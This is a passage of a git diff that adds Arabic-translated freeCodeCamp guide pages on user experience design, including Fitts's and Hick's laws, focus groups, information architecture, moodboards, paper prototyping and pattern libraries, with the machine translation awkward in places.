+تشرح خريطة رحلة العميل الدوال المحتملة لتجربة العميل: من الاتصال الأولي ، من خلال عملية المشاركة والدخول في علاقة طويلة الأمد. قد يركز على جزء معين من النسخة التجريبية أو يقدم نظرة عامة على التجربة بأكملها. ما يفعله دائمًا هو تحديد التفاعلات الأساسية التي يمتلكها العميل مع المؤسسة. يتحدث عن مشاعر المستخدم ودوافعه وأسئلته لكل من نقاط الاتصال هذه. غالبًا ما يوفر إحساسًا بالحافز الأكبر للعميل. ما الذي يرغبون في تحقيقه وما هي توقعاتهم للمنظمة؟ تأخذ خريطة رحلة العميل أشكالًا متعددة ولكنها تظهر عادةً كنوع من الرسوم المعلوماتية. أيا كان شكله ، فإن الهدف هو نفسه: تعليم المنظمات أكثر عن عملائها.
+
+![تأخذ خريطة رحلة العميل أشكالًا متعددة ولكنها تظهر عادةً كصور رسومية.](https://www.smashingmagazine.com/wp-content/uploads/2014/12/1-broadband-provider-journey-opt.jpg)
+
+#### معلومات اكثر:
+
+كل شيء عن خريطة رحلة العملاء هنا: https://www.smashingmagazine.com/2015/01/all-about-customer-journey-mapping/
\ No newline at end of file
diff --git a/client/src/guide/arabic/user-experience-design/fitts-law/index.md b/client/src/guide/arabic/user-experience-design/fitts-law/index.md
new file mode 100644
index 0000000000..06ecb32de5
--- /dev/null
+++ b/client/src/guide/arabic/user-experience-design/fitts-law/index.md
@@ -0,0 +1,15 @@
+---
+title: Fitts Law
+localeTitle: قانون فيتس
+---
+## قانون فيتس
+
+يوفر قانون فيتسز نموذجًا للحركة البشرية يمكنه التنبؤ بدقة بحجم الوقت الذي يستغرقه الانتقال إلى الهدف وتحديده. في التفاعل بين الإنسان والحاسوب يتم تطبيق قانون فيتس عادة على الحركة من خلال واجهة المستخدم الرسومية باستخدام مؤشر أو نوع آخر من المؤشر.
+
+يصف القانون قاعدة بسيطة لتصميم واجهة المستخدم أنه يجب تقليل المسافة من نقطة إلى أخرى ، بينما يكون الكائن الهدف أكبر لتقليل مقدار الوقت اللازم لتحديد الهدف. من الناحية المثالية ، كلما كان على المستخدم أن يتجه نحو هدف ، كلما كان الهدف الأكبر هو جعل التفاعل أكثر سلاسة.
+
+![](http://cdn.sixrevisions.com/0128-05_chart.jpg)
+
+#### معلومات اكثر:
+
+مقالة قوية جدا حول قانون فيتس: https://www.interaction-design.org/literature/article/fitts-s-law-the-importance-of-size-and-distance-in-ui-design
\ No newline at end of file
diff --git a/client/src/guide/arabic/user-experience-design/focus-groups/index.md b/client/src/guide/arabic/user-experience-design/focus-groups/index.md
new file mode 100644
index 0000000000..8d4b561d77
--- /dev/null
+++ b/client/src/guide/arabic/user-experience-design/focus-groups/index.md
@@ -0,0 +1,18 @@
+---
+title: Focus Groups
+localeTitle: مجموعات التركيز
+---
+## مجموعات التركيز
+
+### تعريفات
+
+*   مجموعة من الأشخاص الذين تم جمعهم لمناقشة موضوع معين لحل مشكلة أو اقتراح أفكار. - قاموس كامبريدج
+*   جمعت مجموعة من الناس لإبداء آرائهم حول قضية أو منتج معين ، غالبًا لغرض أبحاث السوق. -Collins الإنجليزية قاموس
+
+Α مجموعة التركيز عبارة عن مجموعة من الأشخاص تجمعوا بسبب خصائصهم المشتركة ، مثل العمر والجنس والمهنة والدخل إلخ. يتم تشكيل مجموعات التركيز من أجل قيام الباحثين بإجراء أبحاث السوق ، لمجموعات ديموغرافية محددة.
+
+على عكس المقابلة ، حيث تأتي المدخلات من شخص واحد ، في مجموعات التركيز لدينا إجابات مختلفة من مختلف الناس التي توفر رؤية أكثر تنوعا ودقة في احتياجات السوق ويريد. بالإضافة إلى ذلك ، تسمح المناقشات في مجموعات التركيز للأشخاص بالتفاعل مع بعضهم البعض ، وتشكيل آراء جديدة ورؤية وجهات نظر مختلفة للموضوع المعني.
+
+#### معلومات اكثر:
+
+https://www.thebalance.com/what-is-a-market-research-focus-group-2296907
\ No newline at end of file
diff --git a/client/src/guide/arabic/user-experience-design/hicks-law/index.md b/client/src/guide/arabic/user-experience-design/hicks-law/index.md
new file mode 100644
index 0000000000..0aacd6605d
--- /dev/null
+++ b/client/src/guide/arabic/user-experience-design/hicks-law/index.md
@@ -0,0 +1,33 @@
+---
+title: Hicks Law
+localeTitle: قانون هيكس
+---
+## قانون هيكس
+
+ينص قانون Hick على أن الوقت الذي يستغرقه اتخاذ القرار يزيد مع زيادة عدد البدائل. سميت بعد علماء النفس البريطانيين والأمريكيين ويليام إدموند هيك وراي هيمان.
+
+### فهم قانون هيك مع مثال
+
+هل تتذكر ألعاب الفيديو القديمة منذ أكثر من 20 عامًا ، وكم من المتعة لعبها؟ كانت عناصر التحكم بسيطة جدًا بحيث يمكنك تعلم اللعب في ثوانٍ. على سبيل المثال ، سوبر ماريو مع الضوابط اليسار واليمين والقفز فقط.
+
+في المقارنة ، ضوابط إدخال اليوم من أجهزة الألعاب الحديثة وألعاب الكمبيوتر الشخصي لديها العديد من الخيارات والتوليفات. كل هذه الضوابط تضاعف الخيارات المتاحة التي يمكن للمستخدم اختيارها في أي موقف معين.
+
+وجود العديد من الخيارات يجعل تعلم اللعبة والاستمتاع بها أصعب بكثير وتستغرق وقتا طويلا.
+
+### ماذا يعني ذلك في تصميم UX
+
+يمكن استخدام قانون هيك لتضييق حجم كبير من المعلومات دون إثقال المستخدم. عندما تحتاج إلى تبسيط عملية معقدة ، استخدم قانون هيك. عرض أجزاء محددة من هذه العملية في أي وقت على الشاشة.
+
+مثال يمكن أن يكون عملية دفع. بدلاً من عرض كل شيء دفعة واحدة ، يمكنك تقسيمه. اعرض الشاشة مع تفاصيل سلة التسوق ، ثم آخر مع معلومات التسليم ، ثم إنشاء حساب اختياري ، وما إلى ذلك.
+
+إن تقليل عدد الخيارات المدركة على الشاشة يجعل الواجهة أكثر سهولة للمستخدم. ومن المرجح أيضًا أن يحقق المستخدم الهدف ولا يتخلى عنه أو يشعر بالارتباك.
+
+**من المهم أن نشير إلى عدم المبالغة في التبسيط!** يمكن أن يؤدي تعطيل الاختيارات إلى سلسلة من أجزاء صغيرة جدًا إلى انخفاض مستوى المستخدم قبل الوصول إلى الهدف.
+
+### معلومات اكثر:
+
+قانون هيكس - [ويكيبيديا](https://en.wikipedia.org/wiki/Hick%27s_law)
+
+مبادئ التصميم: قانون هيك - [uxplanet](https://uxplanet.org/design-principles-hicks-law-quick-decision-making-3dcc1b1a0632)
+
+فهم قانون هيك - [يوتيوب](https://www.youtube.com/watch?v=OU7ekX05UEU)
\ No newline at end of file
diff --git a/client/src/guide/arabic/user-experience-design/human-computer-interaction/index.md b/client/src/guide/arabic/user-experience-design/human-computer-interaction/index.md
new file mode 100644
index 0000000000..415028faea
--- /dev/null
+++ b/client/src/guide/arabic/user-experience-design/human-computer-interaction/index.md
@@ -0,0 +1,31 @@
+---
+title: Human Computer Interaction
+localeTitle: تفاعل الإنسان والحاسوب
+---
+## تفاعل الإنسان والحاسوب
+
+التفاعل بين الإنسان والحاسوب (HCI) هو مجال دراسي يركز على تصميم تكنولوجيا الكمبيوتر ، وعلى وجه الخصوص ، التفاعل بين البشر (المستخدمين) وأجهزة الكمبيوتر. ويشمل مجالات متعددة ، مثل علوم الكمبيوتر والعلوم المعرفية وهندسة العوامل البشرية. في حين كان في الأصل أجهزة الكمبيوتر المعنية ، وقد توسعت منذ ذلك الحين HCI لتغطية جميع أشكال تصميم تكنولوجيا المعلومات.
+
+يتفاعل البشر مع أجهزة الكمبيوتر في الغالب من خلال واجهات المستخدم الرسومية (GUI) ، وأحيانا من خلال واجهات المستخدم الصوتية (VUI). في مجال المستخدم تمت دراسة الخبرة / تفاعل المستخدم (UX / UI) ، التفاعل بين الإنسان والحاسوب لضمان رضا المستخدم الأمثل والمشاركة مع قطعة من البرمجيات.
+
+### مبادئ التصميم
+
+يمكن تطبيق العديد من مبادئ التصميم التجريبية على تصميم أو تقييم تفاعل المستخدم:
+
+*   التركيز المبكر على المستخدم والمهمة: تحديد عدد المستخدمين اللازمين لأداء المهمة (المهام) وتحديد المستخدمين المناسبين ؛ الشخص الذي لم يستخدم الواجهة مطلقًا ، ولن يستخدم الواجهة في المستقبل ، هو على الأرجح ليس مستخدمًا صالحًا. بالإضافة إلى ذلك ، حدد المهمة (المهام) التي سيؤديها المستخدمون وعدد المرات التي يجب أن يتم فيها تنفيذ المهمة (المهام).
+*   القياس التجريبي: اختبر الواجهة في وقت مبكر مع المستخدمين الحقيقيين الذين يتعاملون مع الواجهة بشكل يومي. ضع في اعتبارك أن النتائج قد تختلف باختلاف مستوى أداء المستخدم وقد لا تكون تصويرًا دقيقًا للتفاعل النمطي بين الإنسان والحاسوب. تحديد خصائص إمكانية الاستخدام الكمية مثل: عدد المستخدمين الذين يقومون بالمهمة (المهام) ، ووقت إكمال المهمة (المهام) ، وعدد الأخطاء التي حدثت أثناء المهمة (المهام).
+*   التصميم التكراري: بعد تحديد المستخدمين والمهام والقياسات التجريبية لتشمل ، قم بتنفيذ خطوات التصميم التكرارية التالية:
+
+1.  تصميم واجهة المستخدم
+2.  اختبار
+3.  تحليل
+4.  كرر
+
+### العلاقة بتصميم تجربة المستخدم (UX)
+
+من نواحٍ عديدة ، كان HCI هو الرائد الذي سينمو ليصبح ما نسميه الآن "تصميم تجربة المستخدم (UX)". على الرغم من ذلك ، لا تزال هناك بعض الاختلافات بين تصميم HCI و UX. يميل ممارسو HCI إلى أن يكونوا أكثر تركيزًا أكاديميًا ، ويشاركوا في البحث العلمي وتطوير فهم تجريبي للمستخدمين. من ناحية أخرى ، يميل مصممو تجربة المستخدم إلى التركيز على المجال ، ويشارك معظم مصممي تجربة المستخدم في إنشاء منتج أو خدمة - على سبيل المثال ، تطبيق هاتف ذكي أو موقع ويب. وبغض النظر عن هذا الاختلاف ، فإن الاعتبارات العملية للمنتجات التي يصممها مصممو UX أنفسهم لها روابط مباشرة لنتائج أخصائيي HCI حول عقول المستخدمين. نتيجة لذلك ، هناك نقطة صغيرة في فصل هذه العوالم إلى حد كبير.
+
+#### معلومات اكثر:
+
+*   [تفاعل الإنسان مع الحاسوب (ويكيبيديا)](https://en.wikipedia.org/wiki/Human–computer_interaction)
+*   [موسوعة التفاعل بين الإنسان والحاسوب ، 2 إد.](https://www.interaction-design.org/literature/book/the-encyclopedia-of-human-computer-interaction-2nd-ed/human-computer-interaction-brief-intro)
\ No newline at end of file
diff --git a/client/src/guide/arabic/user-experience-design/index.md b/client/src/guide/arabic/user-experience-design/index.md
new file mode 100644
index 0000000000..d706d802a8
--- /dev/null
+++ b/client/src/guide/arabic/user-experience-design/index.md
@@ -0,0 +1,21 @@
+---
+title: User Experience Design
+localeTitle: تصميم تجربة المستخدم
+---
+## تصميم تجربة المستخدم
+
+تصميم تجربة المستخدم هو مجال يركز على كيفية تفاعل المستخدمين النهائيين للمنتج معها ، وكيف يشعرون تجاه المنتج.
+
+في هذا القسم ، سيكون لدينا أدلة لمجموعة واسعة من مفاهيم تصميم تجربة المستخدم.
+
+#### مقالات عن الموارد والإلهام لتصميم تجربة المستخدم
+
+[صناديق وسهام](http://boxesandarrows.com) [Usabilla](http://blog.usabilla.com)
+
+#### كتاب لتصميم تجربة المستخدم
+
+[تصميم التفاعل: ما وراء التفاعل بين الإنسان والحاسوب (الطبعة 4) - الأمازون](https://www.amazon.com/Interaction-Design-Beyond-Human-Computer/dp/1119020751)
+
+#### في الغالب الحرة على الانترنت UX تصميم المناهج
+
+[مسار التعلم Springboard: تصميم تجربة المستخدم - جوليا دباري](https://www.springboard.com/learning-paths/user-experience-design/learn/#)
\ No newline at end of file
diff --git a/client/src/guide/arabic/user-experience-design/information-architecture/index.md b/client/src/guide/arabic/user-experience-design/information-architecture/index.md
new file mode 100644
index 0000000000..461556731d
--- /dev/null
+++ b/client/src/guide/arabic/user-experience-design/information-architecture/index.md
@@ -0,0 +1,24 @@
+---
+title: Information Architecture
+localeTitle: هندسة المعلومات
+---
+## هندسة المعلومات
+
+عادة ما يتم تنفيذ هندسة المعلومات ، أو IA ، من قبل خبير تجربة المستخدم (UX) مع خلفية في الانضباط thebroader من UX. (IA هو جزء من UX). هذا ليس تصميمًا مبدعًا / تصميميًا مرئيًا بل هو أكثر تركيزًا على تصميم المعلومات ، وتدفقات مهمة المستخدم ، والسيناريوهات ، وحالات الاستخدام ، وتصميم المحتوى ، والتسلسل الهرمي للمعلومات.
+
+عادةً ما يتم الإشارة إلى أنواع المستندات التي تنتج في ممارسة IA على أنها ملفات Sitemap (تختلف عن الرسوم البيانية) ، والخرائط المميزة ، وخرائط المحتوى ، والمخزونات (على الرغم من أن هذه يمكن أن يتم إنشاؤها بواسطة محرري المحتوى). كما يهتم IA بالتسوية الفعلية المستخدمة في جميع أنحاء الملاحة ومحتوى الموقع أو المنتج ، بهدف الوضوح والاتساق. سترى الإشارة إلى "رحلات العملاء" ، لكن هذا ليس UX أو IA - إنه شيء آخر تمامًا.
+
+من المفيد معرفة أين يجلس IA ضمن مخطط الفريق والوثائق الأخرى. يبدو التدفق عالي المستوى لمستندات وعمليات المشروع كما يلي: (ملاحظة: تفترض أن العميل يوقع عند نقاط متعددة في العملية)
+
+1.  Discovery Phase & kickoff: project brief ، collect requirements (technical، functional، creative / brand، content).
+2.  UX-IA Phase: research> personas> user flows> sitemaps> wireframes. يتم العمل على تصميم تفاصيل التفاعل وإتمامها. إذا تم تحديد نطاق النماذج الأولية (في الميزانية) ، يتم إنتاج نماذج protos تعكس تدفق المستخدم وتصميم التفاعل ، والتصميم إذا / عندما يكون جاهزًا حسب الجدول.
+3.  Creative Deisgn: نماذج بالأحجام الطبيعية الخام (مستندة من جميع الوثائق حتى هذه النقطة) ، نماذج بالأحجام الطبيعية عالية الدقة (مع الفن والمحتوى النهائي الأكثر دقة) ، وإنتاج أصول فنية جاهزة للإنتاج وتسليمها إلى التطوير.
+4.  يعمل Dev خلف الكواليس ، عادةً ما يكون رشيقًا أو رشيقًا في المنهجية. يتعاون Dev و UX والإبداع في مختلف جوانب المشروع في أي وقت. كلهم يعرفون ما يحتاج إليه الآخرون ويتوقعون من الآخر.  
+    (هذه نظرة عامة على كيفية عمل فريق متعدد التخصصات. هناك العديد من المتغيرات التي تؤثر على العملية. وفي النهاية ، فإن أفضل عملية هي تلك التي يستطيع الفريق والعميل أن يتفقاها ويلتزمان بها ، والتي تنتج النتيجة النهائية المرغوبة. )
+
+IA هو انضباط حاسم في عملية إنشاء المنتج / التجربة الرقمية. عندما يتم بشكل جيد ، فهو شفاف وغير ملحوظ. عند القيام به بشكل ضعيف ، فإنه يذيب ثقة العميل في الفريق ، ويؤدي إلى المزيد من العمل / الوقت / المال الذي يتم إنفاقه ، والتأخير المحتمل في التسليمات ، وإذا لم يتم القبض عليه قبل الشحن / الإطلاق ، فإنه يمكن أن يحرج العميل إلى جمهوره المستهدف - ليس جيدًا للإنتاج الفريق.
+
+## موارد آخرى
+
+*   [بنية المعلومات - ويكيبيديا](https://en.wikipedia.org/wiki/Information_architecture)
+*   [Usabilty.gov](https://www.usability.gov/what-and-why/information-architecture.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/user-experience-design/instructional-design/index.md b/client/src/guide/arabic/user-experience-design/instructional-design/index.md
new file mode 100644
index 0000000000..48fb10452d
--- /dev/null
+++ b/client/src/guide/arabic/user-experience-design/instructional-design/index.md
@@ -0,0 +1,9 @@
+---
+title: Instructional Design
+localeTitle: تصميم تعليمي
+---
+## تصميم تعليمي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/user-experience-design/instructional-design/index.md) . [سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+\#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/user-experience-design/interaction-design/index.md b/client/src/guide/arabic/user-experience-design/interaction-design/index.md
new file mode 100644
index 0000000000..e48420c106
--- /dev/null
+++ b/client/src/guide/arabic/user-experience-design/interaction-design/index.md
@@ -0,0 +1,35 @@
+---
+title: Interaction Design
+localeTitle: تصميم تفاعلي
+---
+## تصميم تفاعلي
+
+## ما هو تصميم التفاعل؟
+
+تصميم التفاعل ، والذي غالبا ما يتم اختصاره بـ IxD يتعلق بممارسة تصميم المنتجات الرقمية التفاعلية مثل مواقع الويب والتطبيقات وأنظمة البرمجيات و / أو الخدمات. ومع ذلك ، فإن تصميم التفاعل أيضًا مفيد عند تصميم المنتجات غير الرقمية. يركز تصميم التفاعل بشكل رئيسي على السلوك.
+
+فيما يلي خمسة خواص مميزة لتصميم التفاعل كما هو محدد من قبل المصمم الصناعي البارز ومؤسس IDEO - بيل موغريدج (مشترك من مؤسسة تصميم التفاعل - IDF):
+
+## 1\. التصميم ينطوي على تغيير المواقف من خلال تشكيل ونشر القطع الأثرية
+
+التصميم هو حول التحول والوسائل المتاحة للمصمم لإحداث التغيير في موقف معين هو في نهاية المطاف قطعة أثرية مصممة.
+
+## 2\. التصميم هو حول استكشاف العقود الآجلة المحتملة
+
+يبدو هذا واضحًا جدًا ، ولكن من منظور تعليمي ، لا يجب أن يمر دون أن يلاحظه أحد ، خصوصًا أنه ينطوي على اختلاف أساسي في التوجه. يركز البحث التحليلي والنقدي على ما هو موجود بالفعل ، بينما يدور التصميم ويتحدث عما يمكن أن يكون.
+
+## 3\. يستتبع التصميم تأطير "المشكلة" بالتوازي مع خلق "حلول" محتملة
+
+هذا charecterstic يتحدث عن كيف يتغير الوضع عندما قمنا بتصميم شيء ما. وهو يتبع فكرة أن الوضع الذي يستخدم فيه التصميم لم يعد كما كان في الماضي عندما كنا نقوم بتصميمه.
+
+## 4\. التصميم ينطوي على التفكير من خلال رسم وغيرها من التمثيلات الملموسة
+
+عندما يعمل المصمم على تصميم حل محتمل ، لا يقتصر الأمر على نسخ الصور من أعينهم الداخلية ، بل إن رسوماتهم أو رسوماتهم هي في الواقع التجارب والنماذج الأولية لما يحول الأفكار إلى قساوة والتغييرات المحتملة.
+
+## 5\. تصميم عناوين الجوانب الفنية والتقنية والجمالية والأخلاقية في جميع أنحاء
+
+كل نموذج تم تصميمه يقدم اعتبارات ومفاضلات في جميع هذه الأبعاد ، وليس هناك طريقة واضحة يمكن من خلالها التسلسل. هذا المفهوم يحمل على قدم المساواة لتصميم التفاعل - القرارات الفنية تؤثر على الصفات الجمالية للتفاعل الناتج ، وخيارات مفيدة على ميزات لتقديم لها تداعيات أخلاقية ، وهلم جرا.
+
+#### معلومات اكثر:
+
+[مؤسسة تصميم التفاعل](https://www.interaction-design.org/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/user-experience-design/moodboards/index.md b/client/src/guide/arabic/user-experience-design/moodboards/index.md
new file mode 100644
index 0000000000..49bcb1c79f
--- /dev/null
+++ b/client/src/guide/arabic/user-experience-design/moodboards/index.md
@@ -0,0 +1,61 @@
+---
+title: Moodboards
+localeTitle: لوحات المزاج
+---
+## لوحات المزاج
+
+تعد لوحات المزاج وسيلة للتعبير عن الشعور بالمنتج الذي أنت على وشك تنفيذه. أيضا للحصول على إلهام للوحة الألوان والأشكال لاستخدامها في وقت لاحق. بعبارة أخرى ، فإن moodboard عبارة [عن مجموعة من القوام والصور والنصوص المرتبطة بموضوع التصميم كنقطة مرجعية](http://www.creativebloq.com/graphic-design/mood-boards-812470) .
+
+إن إنشاء لوحة moodboard أمر بسيط للغاية. هناك طريقتان: إما يدوي أو رقمي.
+
+لإنشاء لوحات تعريف يدوية ، ستحتاج إلى:
+
+*   المجلات والصحف والكتب و / أو الملصقات المختلفة التي يمكنك قطعها
+*   ورقة
+*   مقص
+*   صمغ
+
+ابدئي بالعثور على الصور والأشكال والألوان والرسائل التي تشعر بأنها ذات صدى مع منتج will-be. اقطعها. إذا كنت قد قطعت كل ما تحتاج إليه ، رتبها على الورق ، وألصقها. قد تبدو النتيجة النهائية شيئًا مشابهًا لهذا:
+
+![papercut المزاج](https://raw.githubusercontent.com/ejke/ejke.github.io/master/else/moodboard.jpg)
+
+الخيار الآخر هو إنشاء moodboard الرقمي. هذه التقنية هي نفسها ، تحتاج إلى:
+
+*   اتصال الإنترنت
+*   المعرفة الأساسية من وظائف النسخ واللصق
+*   برنامج تعديل الصور
+
+يتمثل الجانب الإيجابي في أنه ليس من الضروري تحديد صورة moodboard لديك في المجلة. الجانب السلبي هو أنه قد يكون من الصعب العثور على الصور الصحيحة ، بما أن لديك جميع الإنترنت للبحث عنها.
+
+أماكن البدء في البحث عن الصور والأفكار:
+
+*   [جوجل](https://images.google.co.uk/) . يمكن اختيار Goole Images وفقًا للون أو الشكل أو النموذج ، لذلك إذا كنت تستطيع البحث عنها ، فمن الممكن أن تجدها.
+*   [بينتيريست](https://www.pinterest.dk/) . كما هو الحال بالنسبة لجوجل ، ولكن مختلفة.
+*   صور مجانية. مثل [Pixabay](https://pixabay.com/) أو [Pexels](https://www.pexels.com/) أو مواقع [الصور المجانية](http://www.freeimages.com/) ، يمكنك العثور على الكثير من الإلهام بالفعل في صورة واحدة.
+*   اخرج مع الكاميرا. قد يكون هناك العنصر المحدد الذي تنتظره لوحة المزاج الخاصة بك في التقاط هذه الصورة.
+
+مرة أخرى ، عندما يكون لديك صور كافية ، فقد حان الوقت لوضع معاينة الورق معا. لذلك ، لديك أيضًا إمكانيات مختلفة:
+
+*   الأعرج / فوتوشوب / الرسام. في أول اثنين لديك قدرة أكبر على نقل الصور حولها ، والطلاء هو جيد مثل الطلاء يمكن (كافية ، ولكن غير مريح).
+*   إنكسكيب / المصور. هذه ليست منة لهذا النوع من العمل ، ولكن يمكن القيام بهذا العمل. بالإضافة إلى ذلك لديك فعل وإضافة الفن المتجه إلى moodboard الخاص بك.
+*   الأدوات عبر الإنترنت: ما عليك سوى البحث عن "moodboard" باستخدام محرك البحث المفضل لديك ، وستجد الكثير من المواقع التي تقدم القالب من أجل لوحة المزاج المنافسة.
+
+![المثال moodboard الرقمي](http://stuckwithpins.com/blog/wp-content/uploads/2015/08/moodboard-s2s.jpg)
+
+ملحوظة: عند إنشاء لوحات moodboards ، حاول تجنب استخدام العناوين أو الصور الخاصة بالأشياء التي تنشئها.
+
+على سبيل المثال ، عند إنشاء لوحة moodboard لموقع Harry Potter ، لا تستخدم صورة الممثلين ولا تكتب العنوان. عادة ما لا تكون أفضل طريقة. وبدلاً من ذلك ، يمكنك العثور على ألوان مظلمة مواضيعية ، ومواد خشبية وحجرية ، وصورة من صواعق ، وشخص آخر يحتوي على نظارات مستديرة (ليس مروحةً ترتدي ملابس) ، وكميات من الكتب مكدسة فوق بعضها البعض ، وغليان المرجل ، وما إلى ذلك. قد يبدو الأمر صعبًا البداية ، لكنها تعطي المزيد من الإلهام في المراحل المتأخرة من الإنتاج - وقد تحتاج إلى هذا الإلهام في ذلك الوقت.
+
+يعد إنتاج لوحات المزاج واحدًا من أكثر أجزاء الإنتاج متعةً ، لذا حاول الاستمتاع بها وإبداعها!
+
+يمكن أن تنقل لوحات المزاج مخطط الألوان ونوع الوجه والصور المحددة. يمكنهم أيضًا استكشاف النغمة والمزاج بشكل أكثر تجريدًا. يمكن أن تتضمن لوحة الفيديو أو الصوت بالإضافة إلى الصور الثابتة والتصوير والنص.
+
+![مثال على لوحة المزاج تحت عنوان الأمواج](https://cdn-images-1.medium.com/max/1600/1*9qVOw8uDg8oOOevWmYUozQ.jpeg)
+
+هناك العديد من العوامل التي تدخل في صنع لوحة المزاج المثالية. اعتمادًا على جمهورك ، قد ترغب في اتخاذ قرار بشأن اختيار صورة أكبر وبناء لوحة المزاج المحيطة بها. ستصبح هذه الصورة مصدر إلهامك ومركزًا أساسيًا للمجلس بأكمله. أيضا ، هل تعتقد أنه يجب عليك إنشاء لوحة مزاجية مادية أو رقمية ، أي واحد من شأنه أن يصور أفكارك والإلهام أكثر فعالية؟
+
+![مثال على لوحة المزاج المادية](https://www.designyourway.net/blog/wp-content/uploads/2018/02/06moodboard3-superjumbo.jpg)
+
+#### معلومات اكثر:
+
+[Milanote. "إنشاء نماذج مزاجية أفضل لمشاريع UX." _متوسطة_ 10 سبتمبر 2017. تم الوصول إليها: 25 من تشرين الأول 2017.](https://uxplanet.org/creating-better-moodboards-for-ux-projects-381d4d6daf70)
\ No newline at end of file
diff --git a/client/src/guide/arabic/user-experience-design/paper-prototyping/index.md b/client/src/guide/arabic/user-experience-design/paper-prototyping/index.md
new file mode 100644
index 0000000000..d8d0955293
--- /dev/null
+++ b/client/src/guide/arabic/user-experience-design/paper-prototyping/index.md
@@ -0,0 +1,32 @@
+---
+title: Paper Prototyping
+localeTitle: تصميم النماذج الورقية
+---
+## تصميم النماذج الورقية
+
+يعد استخدام النماذج الأولية للورق طريقة تستخدم على نطاق واسع في واجهة المستخدم وتصميم تجربة المستخدم. ينطوي على استخدام الطريقة الأكثر تقليدية والتي هي قلم رصاص وأوراق. إنها الطريقة الأكثر فعالية من حيث التكلفة لإنتاج رسم مرئي لتطبيقات الجوال أو مواقع الويب أو تطبيقات سطح المكتب.
+
+#### دليل موجز لتصميم النماذج الورقية
+
+للبدء ، يجب أن يكون لدينا هدف في الاعتبار لنموذجنا الأول. التفكير في واحد من قبل حتى البدء في القيام بالنماذج الأولية ، كما هو الحال مع أي نوع آخر من النماذج الأولية.
+
+بعد تحديد هدفك ، يمكنك إما اختيار جعل شخصيات شخصية أو بعض القصص المصورة مسودة سريعة.
+
+اعتمادًا على ما تقوم بتصميمه ، سواء كان تطبيق ويب أو تطبيق جوّال ، اختر حجم الورق - يجب أن يكون بنفس حجم الشاشات التي ستقوم بتطبيقها في المستقبل. هذا من شأنه أن يكون مفيدا لك عندما تضطر إلى استخلاص المكونات والتخطيط على الورق.
+
+وبطبيعة الحال ، بعد الانتهاء من جولة واحدة من النماذج الأولية للورق ، خذها للاختبار على المستخدمين. يكمن جمال النماذج الأولية للورق في أنها سريعة وفعالة وممتعة أيضًا - حيث يمكنك إجراء التغييرات بسهولة ، كما أنها لا تستغرق وقتًا طويلاً في إجراء التعديلات أيضًا.
+
+#### مزايا النماذج الأولية للورق
+
+1.  انها فعالة من حيث التكلفة! ما تحتاجه هو مجرد قلم رصاص / قلم وورقة ، دون الحاجة إلى الانخراط في خدمات مصمم / مطور لتنفيذ النماذج الأولية الخاصة بك.
+    
+2.  لا يوجد تصميم أو برمجة تشارك في هذه المرحلة. لا تحتاج إلى استخدام Photoshop ، Sketch ، إلخ في النماذج الأولية للورق. بما أن جميع تصميماتك سيتم رسمها باليد ، فإنك لا تحتاج إلى برمجيات أو رسومات خيالية لعمل نموذج أولي للأوراق.
+    
+3.  انها تسمح للتقييم السريع والاختبار. هذا مهم بشكل خاص عندما تكون في مرحلة مبكرة من تصور فكرتك ، ويمكن بسهولة إجراء أي تحسينات أو اقتراحات على النموذج الأولي ومناقشتها.
+    
+
+#### معلومات اكثر:
+
+دليل على النماذج الأولية للورق [هنا](https://blog.marvelapp.com/stop-talking-start-sketching-guide-paper-prototyping/)
+
+دليل لنماذج سريعة التطبيق المحمول [هنا](https://blog.prototypr.io/rapid-prototyping-for-mobile-app-ab394c9086e2)
\ No newline at end of file
diff --git a/client/src/guide/arabic/user-experience-design/pattern-libraries/index.md b/client/src/guide/arabic/user-experience-design/pattern-libraries/index.md
new file mode 100644
index 0000000000..9d99116fe3
--- /dev/null
+++ b/client/src/guide/arabic/user-experience-design/pattern-libraries/index.md
@@ -0,0 +1,63 @@
+---
+title: Pattern Libraries
+localeTitle: مكتبات النمط
+---
+## مكتبات النمط
+
+مكتبة النماذج هي مجموعة من عناصر تصميم واجهة المستخدم القابلة لإعادة الاستخدام. نظرًا لأنه يتم إعادة استخدام عناصر واجهة المستخدم هذه عدة مرات في موقع ويب أو تطبيق ويب أو تطبيق برمجي ، فإنها تفرض البنية من خلال التناسق. هذا يجعل الموقع أو التطبيق أسهل في الاستخدام.
+
+بعض عناصر واجهة المستخدم الشائعة الموجودة في مكتبة النماذج هي:
+
+*   القوائم
+*   وصفت
+*   تخطيطات الصفحة
+*   الرسوم المتحركة واجهة المستخدم
+*   إستمارات
+
+### فوائد مكتبات النمط
+
+يشرح بول بواج ، من مدونته [Boagworld.com](https://boagworld.com/design/pattern-library/) ، الأسباب الرئيسية لإنشاء مكتبة [نمطية](https://boagworld.com/design/pattern-library/) :
+
+1.  "تضمن مكتبة الأنماط واجهة مستخدم متناسقة."
+2.  "مكتبة نمط يسهل عملية إعادة الاستخدام."
+3.  "تجعل مكتبة النماذج عملية الصيانة أسهل."
+
+### مكتبات النمط مقابل أنظمة التصميم مقابل أدلة الأسلوب
+
+من السهل الخلط بين مكتبات النماذج وأنظمة التصميم وأدلة الأسلوب. يوضح هذا [المقال من قبل زاك رذرفورد لـ UXPin](https://www.uxpin.com/studio/blog/design-systems-vs-pattern-libraries-vs-style-guides-whats-difference/) الفرق بين الثلاثة:
+
+> • **نظام التصميم** - مجموعة كاملة من معايير التصميم والوثائق والمبادئ جنبا إلى جنب مع مجموعة الأدوات (أنماط واجهة المستخدم ومكونات التعليمات البرمجية) لتحقيق هذه المعايير.
+> 
+> • **مكتبة** النماذج - فئة فرعية في نظام التصميم ، هذه هي مجموعة أنماط التصميم للاستخدام عبر الشركة.
+> 
+> • **دليل النمط** - فئة فرعية أخرى في نظام التصميم ، تصف هذه الوثائق الثابتة نظام التصميم نفسه: كيف يجب أن تبدو المنتجات وتشعر بها ، استخدام حالات لأنماط واجهة المستخدم ، موازين الطباعة الصحيحة ، إلخ.
+
+#### معلومات اكثر:
+
+##### أمثلة نمط المكتبة
+
+[ميل تشيمب](https://ux.mailchimp.com/patterns)
+
+[لغة التصميم IBM](https://www.ibm.com/design/language/resources)
+
+[مايكروسوفت](https://developer.microsoft.com/en-us/windows/desktop/design)
+
